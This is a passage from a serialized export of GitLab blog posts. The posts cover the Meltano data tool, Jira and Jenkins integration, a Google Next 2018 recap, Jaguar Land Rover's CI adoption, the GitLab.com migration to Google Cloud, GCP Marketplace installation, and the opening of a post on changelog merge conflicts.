you’re doing a giveaway, you might see a bunch of new email signups piping into Mailchimp. But you won't be able to see if those users are then buying things in Shopify. Unless there's a native integration, you can’t relate that data to any other data source.\"\n\nManaging the integrations you currently have comes with its own challenges. Senior Product Manager Joshua Lambert shares, \"The difficulty of hooking up Salesforce and Marketo to see if a marketing campaign was successful is non-trivial. Often money is spent and the question is, 'Was it worth it?'\" As an open source tool, we think Meltano will make a big difference for teams without much money to invest in data analytics. It's a new field for many organizations, and we want to do everything we can to make it easier for teams and business to access their data and make better decisions. We talked more about this during a recent Q&A, which you can watch below.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/nIYMNIvKLcY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n### How can I contribute?\n\nMeltano is open source! You can check out the plan for an MVC [here](https://gitlab.com/meltano/meltano/issues/10). There are many different areas where people can contribute, including Meltano Analysis (the UI), Extractors, and Loaders. Meltano currently only supports Postgres (with Snowflake on the way!), but will need to support many different database types, so any contributions writing Loaders for one of those would be very welcome. You can make requests by opening an [issue](https://gitlab.com/meltano/meltano/issues/) and labeling it `feature request`.\n\nReaders are also extremely welcome to check out the [Data team's work](https://gitlab.com/meltano/analytics/) and suggest ways we can improve! We know some aspects of how we do analytics and data science are not where they should be. If you don’t think we’re using the right primitives or going about something the wrong way, we’re all ears!\n\n### How can I keep up with the Data Team and Meltano?\n\nThe best way to get in touch about Meltano or the Data team is to [open an issue](https://gitlab.com/meltano/meltano/issues/)! We also publish all of our team calls and working sessions on our brand new [YouTube channel](https://www.youtube.com/channel/UCmp7zJAZEC7I_n9BEydH8XQ), and you can learn more about the team, view our work in GitLab, and follow us on social:\n\n* [Jacob Schatz](https://about.gitlab.com/company/team/#jakecodes), Staff Developer, Meltano\n* [Yannis Roussos](https://about.gitlab.com/company/team/#iroussos), Senior Developer, Meltano Specialist\n* [Alex Zamai](https://about.gitlab.com/company/team/#AlexZamai), Developer, Meltano\n* [Micaël Bergeron](https://about.gitlab.com/company/team/#micaelbergeron), Developer, Meltano\n* [Joshua Lambert](https://about.gitlab.com/company/team/#joshlambert), Senior Product Manager, Package, Monitor, Distribution\n* [Taylor A. Murphy, PhD](https://about.gitlab.com/company/team/#tayloramurphy1), Manager, Data and Analytics\n* [Emilie Schario](https://gitlab.com/emilie), Data Analyst\n* [Thomas La Piana](https://gitlab.com/tlapiana), Data Engineer\n* [Chase Wright](https://about.gitlab.com/company/team/#thechasewright), Finance Operations and Planning\n\n_[Emily von Hoffmann](/company/team/#emvonhoffmann) contributed to this post._\n\nPhoto by [Jefferson Santos](https://unsplash.com/photos/9SoCnyQmkzI) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[676],{"slug":32824,"featured":6,"template":678},"hey-data-teams-we-are-working-on-a-tool-just-for-you","content:en-us:blog:hey-data-teams-we-are-working-on-a-tool-just-for-you.yml","Hey Data Teams We Are Working On A Tool Just For You","en-us/blog/hey-data-teams-we-are-working-on-a-tool-just-for-you.yml","en-us/blog/hey-data-teams-we-are-working-on-a-tool-just-for-you",{"_path":32830,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32831,"content":32837,"config":32842,"_id":32844,"_type":16,"title":32845,"_source":17,"_file":32846,"_stem":32847,"_extension":20},"/en-us/blog/gitlab-workflow-with-jira-jenkins",{"title":32832,"description":32833,"ogTitle":32832,"ogDescription":32833,"noIndex":6,"ogImage":32834,"ogUrl":32835,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32835,"schema":32836},"Demo: GitLab + Jira + Jenkins","See how you can use our Jira and Jenkins integrations to reduce context switching and streamline your workflow.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680048/Blog/Hero%20Images/gitlab-jira-jenkins-cover.png","https://about.gitlab.com/blog/gitlab-workflow-with-jira-jenkins","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Demo: GitLab + Jira + Jenkins\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joel Krooswyk\"}],\n        \"datePublished\": \"2018-07-30\",\n      }",{"title":32832,"description":32833,"authors":32838,"heroImage":32834,"date":32839,"body":32840,"category":299,"tags":32841},[6157],"2018-07-30","\n\nOne of the things we love about GitLab is that while it can replace all your other software development lifecycle tools [(no, really)](/); it doesn't have to. Whether you want to rip and replace everything or use it for one or two stages of your workflow, [alongside your existing toolset](/partners/technology-partners/integrate/) (for now, or forever), we've got you covered.\n\nOne of the things we're most often asked about is how GitLab works together with [Jira](/solutions/jira/) for issue tracking, and [Jenkins](/solutions/jenkins/) for CI. This could be for one of two reasons:\n\n1. Your organization is happy with your issue tracking and CI solutions, and just want to use GitLab for other features, or\n2. You plan to move to GitLab for your end-to-end software development lifecycle, but that's a significant undertaking and it may be less disruptive to migrate on a project-by-project basis.\n\nNo matter the reason, what's important is maintaining the context of work without having to switch between applications frequently. With these integrations you can transition Jira issue states via GitLab, as well as see GitLab commits, branches, and merge requests in the Jira development panel. You can also view the status of Jenkins pipelines in GitLab to optimize your use of GitLab Merge Requests.\n\nI recorded this demo to show what a workflow using all three would look like.\n\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/Jn-_fyra7xQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n",[1384,4144,232,1444],{"slug":32843,"featured":6,"template":678},"gitlab-workflow-with-jira-jenkins","content:en-us:blog:gitlab-workflow-with-jira-jenkins.yml","Gitlab Workflow With Jira Jenkins","en-us/blog/gitlab-workflow-with-jira-jenkins.yml","en-us/blog/gitlab-workflow-with-jira-jenkins",{"_path":32849,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32850,"content":32856,"config":32861,"_id":32863,"_type":16,"title":32851,"_source":17,"_file":32864,"_stem":32865,"_extension":20},"/en-us/blog/google-next-2018-recap",{"title":32851,"description":32852,"ogTitle":32851,"ogDescription":32852,"noIndex":6,"ogImage":32853,"ogUrl":32854,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32854,"schema":32855},"Google Next 2018 Recap","Several GitLab team-members participated in Google Next in San Francisco. Here’s a recap of what went on.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679821/Blog/Hero%20Images/melody-meckfessel-gitlab-google-next-keynote.png","https://about.gitlab.com/blog/google-next-2018-recap","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Google Next 2018 Recap\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2018-07-27\",\n      }",{"title":32851,"description":32852,"authors":32857,"heroImage":32853,"date":32858,"body":32859,"category":299,"tags":32860},[16962],"2018-07-27","\n\n## Google Partner Award Winner for Innovative Solution in Developer Ecosystem\n\nGoogle's Partner Summit kicked off a day before the broader Next conference started. At the summit, we were honored to receive the Google Cloud Partner Award for Innovative Solution in Developer Ecosystem for the [tight integration with GKE](/partners/technology-partners/google-cloud-platform/) we released earlier this year. Of course, we decided to take some fun photos with the cloud logo.\n\n![Sid Sijbrandij and Google execs](https://about.gitlab.com/images/blogimages/google-next-2018/sid-sijbrandij-google-execs.jpg){: .shadow.large.center}\n\n![Sid Sijbrandij and Google tech partner team](https://about.gitlab.com/images/blogimages/google-next-2018/sid-sijbrandij-google-tech-partner-team.jpg){: .shadow.large.center}\n\n![Eliran Mesika with GitLab's award + GitLab team with award](https://about.gitlab.com/images/blogimages/google-next-2018/eliran-mesika-gitlab-google-award-team.jpg){: .large.center}\n\n## Launch partner for GCP Marketplace with Kubernetes Apps\n\n![GCP Marketplace launch partners at Google Next](https://about.gitlab.com/images/blogimages/google-next-2018/gcp-marketplace-launch-partners-google-next.jpg){: .shadow.medium.center}\n\nWhile the GCP Marketplace announcement went out a few days before the show, there was still [a lot of buzz about it at Google Next](https://www.youtube.com/watch?v=C6koWw0r07Y&amp=&t=28m29s). In addition to traditional apps, which deploy VMs on Compute Engine, the new GCP Marketplace now supports Kubernetes apps, which deploy to a Kubernetes cluster running on Google Kubernetes Engine. We were happy to be a launch partner, offering the ability to [install GitLab via the GCP Marketplace](/blog/install-gitlab-one-click-gcp-marketplace/) on day one.\n\n## Serverless, Knative, and Istio\n\n[Knative](https://cloud.google.com/knative/) and [Istio](https://istio.io/) are two new projects announced during the show that we're excited about. Knative enables \"serverless\" workloads on Kubernetes while Istio is a service mesh for microservices. Check out [Josh](/company/team/#joshlambert) chatting live with [Sid](/company/team/#sytses) from the show (where Wi-Fi was a bit choppy) about serverless, Knative, and Istio, and how these technologies can potentially tie in with GitLab.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/k1jK4F4NoBw\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Google Cloud Build + GitLab CI/CD\n\nOne of the key announcements from the show was the introduction of Google Cloud Build, a CI/CD tool for GCP. Many folks asked us if we saw this as competitive to GitLab CI/CD, and how that would affect our partnership with Google. First and foremost, GitLab supports a multi-cloud strategy. We partner with all of the major cloud vendors to ensure GitLab CI/CD can support multi-cloud deployments. Many cloud vendors have their own CI/CD tooling, like AWS Code Deploy or IBM Cloud Pipelines. For us, Cloud Build is just another point of collaboration. In fact, our own [Josh Lambert](/company/team/#joshlambert) teamed up with [Christopher Sanson](https://www.linkedin.com/in/christophersanson/) to create a GitLab + Google demo for Christopher's session, \"CI/CD for Hybrid and Multi-Cloud Customers.\"\n\n![Christopher Sanson demos GitLab CI/CD with Cloud Build](https://about.gitlab.com/images/blogimages/google-next-2018/christopher-sanson-gitlab-cicd.jpg){: .shadow.medium.center}\n\nFirst, Christopher showed how to use GitLab as your code repo with Cloud Build as your CI/CD connected up via webhooks to Cloud Functions. Here's a link to some [sample code for setting up a Cloud Function to trigger cloud build from GitLab](https://gitlab.com/joshlambert/cloud-function-trigger) if you'd like to try it out yourself.\n\nThen Christopher showed how to use GitLab CI/CD and GitLab container registry while offloading the infrastructure build to Google Cloud Build. Using Google Cloud Build together with GitLab CI/CD is one way to overcome some of the security problems of docker-in-docker (e.g. requires privileged containers). Check out the video below to see it in action. Additionally, here's an example ruby app with a [sample configuration for connecting Gitlab CI/CD to Cloud Build](https://gitlab.com/joshlambert/minimal-ruby-app/merge_requests/1/diffs).  \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/IUKCbq1WNWc?start=1324\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\n## GitLab.com is migrating to GCP\n\n![Melody Meckfessel talks GitLab GCP migration during keynote](https://about.gitlab.com/images/blogimages/google-next-2018/melody-meckfessel-gitlab-google-next-keynote.png){: .shadow.medium.center}\n\n>\"Our friends at GitLab have created a complete open source DevOps stack\" - [Melody Meckfessel](https://www.linkedin.com/in/melodymeckfessel/), Vice President of Engineering, Google Cloud Platform\n\nAs part of our plans to make GitLab.com a rock solid, enterprise-ready SaaS offering, we are migrating from Azure to Google Cloud Platform. We’ve been carefully planning this migration for many months and are now very close to executing with a target migration date of August 11. Melody Meckfessel talked a bit about our migration during her keynote on Thursday. Check out our previous blog post to read up on the [full details of GitLab’s GCP migration](/blog/gcp-move-update/).  \n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/JQPOPV_VH5w?start=1363\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Talking to you\n\n![William, Mike, and Reb in the GitLab booth](https://about.gitlab.com/images/blogimages/google-next-2018/william-chia-mike-walsh-gitlab-booth-duo.jpg){: .shadow.large.center}\n\nOf course one of our favorite parts of any trade show is getting to meet our users and customers face to face. We love hearing the palpable excitement when you talk about how GitLab is streamlining your toolchain or easing your move to Kubernetes. We love sharing the story with folks who don’t know yet and seeing their faces light up when we tell them GitLab’s not just a version control solution, but an end-to-end DevOps application with built-in project planning, CI/CD, container registry, monitoring, and more. Google Next ’18 was a great show, and we can’t wait to see you next time! Check out the [full list of events](/events) we’ll be at to find one close to you.\n",[277,923,3949,3049,2509],{"slug":32862,"featured":6,"template":678},"google-next-2018-recap","content:en-us:blog:google-next-2018-recap.yml","en-us/blog/google-next-2018-recap.yml","en-us/blog/google-next-2018-recap",{"_path":32867,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32868,"content":32874,"config":32879,"_id":32881,"_type":16,"title":32882,"_source":17,"_file":32883,"_stem":32884,"_extension":20},"/en-us/blog/chris-hill-devops-enterprise-summit-talk",{"title":32869,"description":32870,"ogTitle":32869,"ogDescription":32870,"noIndex":6,"ogImage":32871,"ogUrl":32872,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32872,"schema":32873},"How Jaguar Land Rover embraced CI to speed up their software lifecycle","Inspiration, persistence, an attitude of continuous improvement – how adopting CI helped this vehicle company implement software over the air.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749667619/Blog/Hero%20Images/chris-hill-jlr-does.jpg","https://about.gitlab.com/blog/chris-hill-devops-enterprise-summit-talk","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How Jaguar Land Rover embraced CI to speed up their software lifecycle\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Rebecca Dodd\"}],\n        \"datePublished\": \"2018-07-23\",\n      }",{"title":32869,"description":32870,"authors":32875,"heroImage":32871,"date":32876,"body":32877,"category":2702,"tags":32878},[19026],"2018-07-23","\n\n[CI/CD](/topics/ci-cd/) gets us pretty excited anyway, but it's not often we get to talk about how it improves something as cool as a luxury car. Chris Hill, Head of Systems Engineering for Infotainment at Jaguar Land Rover, recently shared his own team's journey from feedback loops of 4-6 weeks to just 30 minutes, in this inspiring talk from [DevOps Enterprise](/stages-devops-lifecycle/) Summit London 2018.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/CEvjB-79tOs\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Key takeaways from Chris' talk\n\n### What's needed for transformation\n\n\u003Cdiv class=\"panel panel-default twitter-block\"> \u003Ca class=\"twitter-block-link panel-body\" href=\"http://twitter.com/share?text=%22Driving change within an enterprise requires three qualities: inspiration, persistence, and an attitude of continuous improvement.%22 – @chillosuvia via @gitlab&amp;amp;url=https://about.gitlab.com/blog/chris-hill-devops-enterprise-summit-talk/&amp;amp;hashtags=\" rel=\"nofollow\" target=\"_blank\" title=\"Tweet!\"> \u003Cspan class=\"twitter-text pull-left\"> \"Driving change within an enterprise requires three qualities: inspiration, persistence, and an attitude of continuous improvement.\" – @chillosu via @gitlab \u003C/span> \u003Cspan class=\"click-to-tweet\"> Click to tweet! \u003Ci class=\"fab fa-twitter\">\u003C/i> \u003C/span> \u003C/a> \u003C/div>\n\n### How you respond to complaints matters\n\n> \"Equally if not more important than the complaint itself, is the response or reaction to the complaint. 'Can I bring a complaint, that I know my voice is heard and that somebody cares about resolving my issue?'\"\n\n> \"'I asked the ops team three weeks ago to add a build dependency on the build servers, and it still hasn't been added. I'm just going to go back to building on my own.' This complaint obviously is a knife right to the heart because you feel like you've started to regress. But what I like about this complaint is it led to a behavioral change as well as a technical change. We decided instead of continuing the same direction, to move to ephemeral Docker containers to run all of our builds. With ephemeral Docker containers we defined every piece of build infrastructure as code. We used packer recipes to find a Docker container, and every app developer could now change the underlying infrastructure which built their application. They were empowered. They now had the self service to do their lifecycle on their own. And you're never going to receive the ops complaint because you've handed over the keys.\"\n\n### Efficient feedback loops are critical\n\n> \"Our feedback loops were 4-6 weeks. Could you imagine writing code today and six weeks from now being told whether or not it works or is broken? I don't remember the shirt that I wore yesterday, let alone what I had for breakfast this morning, let alone what I wrote six weeks ago, and chances are I've been working on features for the last six weeks, and for me to try to unpick what I was thinking at that point could be a huge context-switch penalty.\"\n\n> \"Infotainment also had a significantly higher number of contributors – up to 1,000 contributors. And what we noticed is that contributions don't come linearly, they come in bursts. We actually found that Thursdays were the day that most of our developers committed on. And when we had manual code reviews, if we didn't have reviewers ready on a Thursday, we would create our own backlog.\"\n\n### Deployments don't have to be limited to a traditional release cycle\n\n> \"How could we change the game? Instead of ditching the combustion engine, we ditched the dealership visits, and we implemented software over the air. And this huge Linux distribution that we build upwards towards 700 times per day in a continuous integration pattern, on a dev branch or a master branch, or a release branch, we can now deliver to every vehicle in the form of small, incremental deltas. We can also deliver it to the vehicle while you're driving, and not interrupt your daily life. In fact I showed Gene yesterday, we started a download and an install while I was driving, and the entire thing happened in the background. Jeff even made the comment, 'This is blue-green deployment for vehicles.'\"\n\n> \"One of my favorite indicators is deploys per day, per developer. But I was always embarrassed to share ours because it was always below one. All of our new software wouldn't actually make it to vehicles; it was always batched together. Now I'm happy to say we can deploy, and we have been in our engineering environment, 50-70 times per day of each individual piece of software to a target or to a vehicle.\"\n\n> \"No longer are deployments limited to a traditional software release cycle. We've now skirted every single process to get a technician a new piece of software, and bother somebody else's day – one of our owners – to come into a dealership and spend an hour waiting for their vehicle to be done. We've now empowered the customer to be their own technician.\"\n",[4103,2368,1384,4772,965,2705],{"slug":32880,"featured":6,"template":678},"chris-hill-devops-enterprise-summit-talk","content:en-us:blog:chris-hill-devops-enterprise-summit-talk.yml","Chris Hill Devops Enterprise Summit Talk","en-us/blog/chris-hill-devops-enterprise-summit-talk.yml","en-us/blog/chris-hill-devops-enterprise-summit-talk",{"_path":32886,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32887,"content":32892,"config":32897,"_id":32899,"_type":16,"title":32900,"_source":17,"_file":32901,"_stem":32902,"_extension":20},"/en-us/blog/gcp-move-update",{"title":32888,"description":32889,"ogTitle":32888,"ogDescription":32889,"noIndex":6,"ogImage":29611,"ogUrl":32890,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32890,"schema":32891},"Update on our planned move from Azure to Google Cloud Platform","GitLab.com is migrating to Google Cloud Platform August 11 – here’s what this means for you now and in the future.","https://about.gitlab.com/blog/gcp-move-update","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Update on our planned move from Azure to Google Cloud Platform\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David Smith\"}],\n        \"datePublished\": \"2018-07-19\",\n      }",{"title":32888,"description":32889,"authors":32893,"heroImage":29611,"date":32894,"body":32895,"category":734,"tags":32896},[13061],"2018-07-19","\n\nNOTE to users in Crimea, Cuba, Iran, North Korea, Sudan, and Syria: GitLab.com may\nnot be accessible after the migration to Google. Google has informed us that\nthere are legal restrictions that are imposed for those countries. See this\n[U.S. Department of the Treasury link](http://www.treasury.gov/resource-center/sanctions/Programs/Pages/Programs.aspx)\nfor more details. At this time, we can only recommend that you download\nyour code or export relevant projects as a backup. See [this issue](https://gitlab.com/gitlab-com/migration/issues/649)\nfor more discussion.\n{: .alert .alert-warning}\n\nUpdate as of August 1: There will be a short maintenance window on Saturday, August 4 at 13:00 UTC. We will perform a test of approximately 1 hour.  This will help us verify some of our fixes to make sure the switchover goes as planned.\n{: .alert .alert-info}\n\nUpdate as of July 27: There will be a short maintenance window on Saturday, July 28 at 13:00 UTC. We will perform a short test of approximately 5 minutes.  This will help us verify some of our fixes to make sure our Chef runs work correctly with GitLab.com inaccessible.\n{: .alert .alert-info}\n\nUpdate as of July 24: Following our dry run of the migration on Saturday, July 21, we have rescheduled the migration with a new target date of Saturday, August 11. You can read through [our findings document](https://docs.google.com/document/d/1Y7Cv4BHmHw8djtDBex8opUGs8t0wWmgrueaCocKfYxs/edit?usp=sharing) for all the details.\n{: .alert .alert-info}\n\nImproving the performance and reliability of [GitLab.com](/pricing/)  has been a top priority for us. On this front we've made some incremental gains while we've been planning for a large change with the potential to net significant results: running GitLab as a [cloud native](/topics/cloud-native/) application on Kubernetes.\n\nThe next incremental step on our cloud native journey is a big one: migrating from Azure to Google Cloud Platform (GCP). While Azure has been a great provider for us, GCP has the best Kubernetes support and we believe will the best provider for our long-term plans. In the short term, our users will see some immediate benefits once we cut over from Azure to GCP including encrypted data at rest on by default and faster caching due to GCP's tight integration with our existing CDN.\n\n## Upcoming maintenance windows for the GCP migration\n\nAs an update to [our earlier blog post on the migration](/blog/moving-to-gcp/), this is a short post to let our community know we are planning on performing the migration of GitLab.com the weekend of ~~July 28~~ August 11 (this has been rescheduled following our dry run on July 21). We have a maintenance window coming up that we would like to make sure everybody knows about.\n\n### What you need to know:\n\nDuring the maintenance windows, the following services will be unavailable:\n\n* SaaS website ([GitLab.com](https://gitlab.com/) will be offline, but [about.gitlab.com](https://about.gitlab.com/) and [docs.gitlab.com](https://docs.gitlab.com/) will still be available)\n* Git ssh\n* Git https\n* registry\n* CI/CD\n* Pages\n\n### Maintenance window - Dry run - Saturday, July 21 at 13:00 UTC\n\nAs a further update to our testing, we are planning to take a short maintenance window this weekend on Saturday, July 21 at 13:00 UTC to do final readiness checks.\nThis maintenance window should last one hour.\n\n2018-07-23 UDPATE: Here are the [finding from the maintenance window](https://docs.google.com/document/d/1Y7Cv4BHmHw8djtDBex8opUGs8t0wWmgrueaCocKfYxs/edit). We've decided to push our target date from July 28th to August 11th to comfortably address several issues. We will likely do a small maintenance window on Saturday, July 28th, and another full practice on Saturday, August 4th.\n\n### Maintenance window - Short test - Saturday, July 28 at 13:00 UTC\n\nWe will perform a short test of approximately 5 minutes.  This will help us verify some of our fixes to make sure our Chef runs work correctly with GitLab.com inaccessible.\n\n\n### Maintenance window - Dry run - Saturday, August 4 at 13:00 UTC\n\nWe will repeat the dry run exercise again to have a chance to verify our changes to the switchover plan.\n\n\n### Maintenance window - Actual switchover - Saturday, ~~July 28~~ August 11 at 10:00 UTC\n\nOn the day of the migration, we are planning to start at 10:00 UTC.  The time window for GitLab.com to be in maintenance is currently planned to be two hours.  Should any times for this change, we will be updating on the channels listed below. When this window is completed GitLab.com will be running out of GCP.\n\n* [GitLab Status page](https://status.gitlab.com/)\n* [GitLab Status Twitter](https://twitter.com/gitlabstatus)\n\n### GitLab Pages and custom domains\n\nIf you have a custom domain on [GitLab Pages](https://about.gitlab.comhttps://docs.gitlab.com/ee/user/project/pages/):\n\n* We will have a proxy in place so you do not have to change your DNS immediately.\n* GitLab Pages will ultimately go to 35.185.44.232 after the July 28 migration.\n* Do not change your DNS to this new address until we have successfully completed the migration.\n* We will post an update to our blog about when the cutoff will be for changing DNS from our Azure address to GCP for GitLab Pages.\n\nShould you need support during the migration, please reach out to [GitLab Support](https://about.gitlab.com/support/).\n\nWish us luck!\n",[923,3949,3049,2509],{"slug":32898,"featured":6,"template":678},"gcp-move-update","content:en-us:blog:gcp-move-update.yml","Gcp Move Update","en-us/blog/gcp-move-update.yml","en-us/blog/gcp-move-update",{"_path":32904,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32905,"content":32911,"config":32916,"_id":32918,"_type":16,"title":32919,"_source":17,"_file":32920,"_stem":32921,"_extension":20},"/en-us/blog/install-gitlab-one-click-gcp-marketplace",{"title":32906,"description":32907,"ogTitle":32906,"ogDescription":32907,"noIndex":6,"ogImage":32908,"ogUrl":32909,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32909,"schema":32910},"Install GitLab with a single click from the new GCP Marketplace","GitLab is now available on the new Google Cloud Platform Marketplace, so you can deploy GitLab on Google Kubernetes Engine with a single click!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749680061/Blog/Hero%20Images/gcp-send-gitlab-large.png","https://about.gitlab.com/blog/install-gitlab-one-click-gcp-marketplace","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Install GitLab with a single click from the new GCP Marketplace\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"William Chia\"}],\n        \"datePublished\": \"2018-07-18\",\n      }",{"title":32906,"description":32907,"authors":32912,"heroImage":32908,"date":32913,"body":32914,"category":299,"tags":32915},[16962],"2018-07-18","\nToday, Google Cloud announced its [new Google Cloud Platform (GCP) marketplace](https://cloudplatform.googleblog.com/2018/07/introducing-commercial-kubernetes-applications-in-gcp-marketplace.html) with the ability to deploy applications to your Kubernetes clusters on Google Kubernetes Engine (GKE). We’re proud to make GitLab available in the GCP Marketplace from day one. While you can [install GitLab almost anywhere](/install/), the new GCP Marketpklace app installs with just a single click. It's the easiest way to get your own self-managed GitLab instance up and running.\n\n![Deploy GitLab on Google Cloud Platform](https://about.gitlab.com/images/google-cloud-platform/gcp-send-gitlab-medium.png)\n\n### Not looking to manage your own instance?\n\nFolks who don’t want to take on the overhead of administering their own GitLab instance can [sign up for GitLab.com](https://gitlab.com/users/sign_in). GitLab.com is a SaaS offering that runs the same software as GitLab self-managed, managed by GitLab.\n\nRecently, we announced our [migration from Azure to GCP](/blog/moving-to-gcp/). This migration is the first step in our goal of running GitLab.com as a cloud native application on Kubernetes. The migration has involved careful planning along with decomposing GitLab into individual services. The lessons learned through our migration have translated directly into our how we are building the GitLab Helm Chart. The work we’ve done to migrate GitLab.com has fueled our ability to offer a solid option for self-managed users to deploy GitLab to Kubernetes.\n\n### Want to deploy your application to Kubernetes?\n\nWith a built-in container registry and [Kubernetes integration](/solutions/kubernetes/), GitLab makes it easier than ever to get started with containers and cloud native development. [Gitlab CI/CD](/topics/ci-cd/) can deploy your application to any Kubernetes cluster.\n\nIf you don’t have a Kubernetes cluster, we’ve got you covered. The easiest way to get set up in using our [GKE Integration](/partners/technology-partners/google-cloud-platform/) and [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/). It takes just a few clicks to set up, then you have a full deployment pipeline. Just commit your code and GitLab does rest.\n\n![GitLab deploys your app to Google Cloud Platform](https://about.gitlab.com/images/google-cloud-platform/gitlab-send-app-medium.png)\n\n#### Join us at Google Next\n\nNext week on July 24-27 we’ll be at [Google Nex](https://cloud.withgoogle.com/next18/sf/)t in San Francisco, where there’s a lot going on. [Follow GitLab on Twitter](https://twitter.com/gitlab) to stay up to date on announcements from the show. If you’re at the show, stop by booth #S1629 and say hi! We’d love to hear how you are using GitLab and show you how our GKE Integration and Marketplace install work.  \n\n#### Summary\n\nYou can use GitLab either as a self-managed app or as a service on GitLab.com. Today, we’ve made it easier than ever to install [GitLab with the GCP Marketplace](https://console.cloud.google.com/marketplace/details/gitlab-public/gitlab?filter=solution-type:k8s). Additionally, we’ll be moving GitLab.com to GCP and soon afterward to GKE. You can look forward to the increased stability and performance that Kubernetes will bring to GitLab.com. Regardless of whether you are using self-managed GitLab or GitLab.com, GitLab’s Kubernetes integration and GKE integration make it easy to deploy your app to Kubernetes. Stop by Google Next and follow our Twitter feed to get the latest news on using GitLab together with Google Cloud Platform.\n",[3949,3049,923,2509],{"slug":32917,"featured":6,"template":678},"install-gitlab-one-click-gcp-marketplace","content:en-us:blog:install-gitlab-one-click-gcp-marketplace.yml","Install Gitlab One Click Gcp Marketplace","en-us/blog/install-gitlab-one-click-gcp-marketplace.yml","en-us/blog/install-gitlab-one-click-gcp-marketplace",{"_path":32923,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32924,"content":32930,"config":32935,"_id":32937,"_type":16,"title":32938,"_source":17,"_file":32939,"_stem":32940,"_extension":20},"/en-us/blog/solving-gitlabs-changelog-conflict-crisis",{"title":32925,"description":32926,"ogTitle":32925,"ogDescription":32926,"noIndex":6,"ogImage":32927,"ogUrl":32928,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32928,"schema":32929},"How we solved GitLab's CHANGELOG conflict crisis","How we eliminated changelog-related merge conflicts and automated a crucial part of our release process.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749672139/Blog/Hero%20Images/solving-gitlab-changelog-crisis.jpg","https://about.gitlab.com/blog/solving-gitlabs-changelog-conflict-crisis","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How we solved GitLab's CHANGELOG conflict crisis\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Robert Speicher\"}],\n        \"datePublished\": \"2018-07-03\",\n      }",{"title":32925,"description":32926,"authors":32931,"heroImage":32927,"date":32932,"body":32933,"category":734,"tags":32934},[20193],"2018-07-03","\n\nSince its [very first commit] more than six years ago, GitLab has had a changelog\ndetailing the noteworthy changes in each release. Shortly after [Enterprise\nEdition (EE) was introduced], it [got a changelog of its own]. Whenever anyone\n– whether it was a community contributor or a GitLab employee – contributed a\nnew feature or fix to the project, a changelog entry would be added to let users\nknow what improved.\n\nAs GitLab gained in popularity and started receiving more contributions, we'd\nconstantly see merge conflicts in the changelog when multiple merge requests\nattempted to add an entry to the list. This quickly became a major source of\ndelays in development, as contributors would have to rebase their branch in order\nto resolve the conflicts.\n\nThis post outlines how we completely eliminated changelog-related merge\nconflicts, removed bottlenecks for contributions, and automated a crucial part\nof our release process.\n\nAt the beginning, GitLab's `CHANGELOG` file would look something like this:\n\n```text\nv 8.0.0 (unreleased)\n  - Prevent anchors from being hidden by header (Stan Hu)\n  - Remove satellites\n  - Better performance for web editor (switched from satellites to rugged)\n  - Faster merge\n  - ...\n  - Ability to fetch merge requests from refs/merge-requests/:id\n\nv 7.14.1\n  - Improve abuse reports management from admin area\n  - Ability to enable SSL verification for Webhooks\n\nv 7.14.0\n  - Fix bug where non-project members of the target project could set labels on new merge requests.\n  - Upgrade gitlab_git to 7.2.14 to 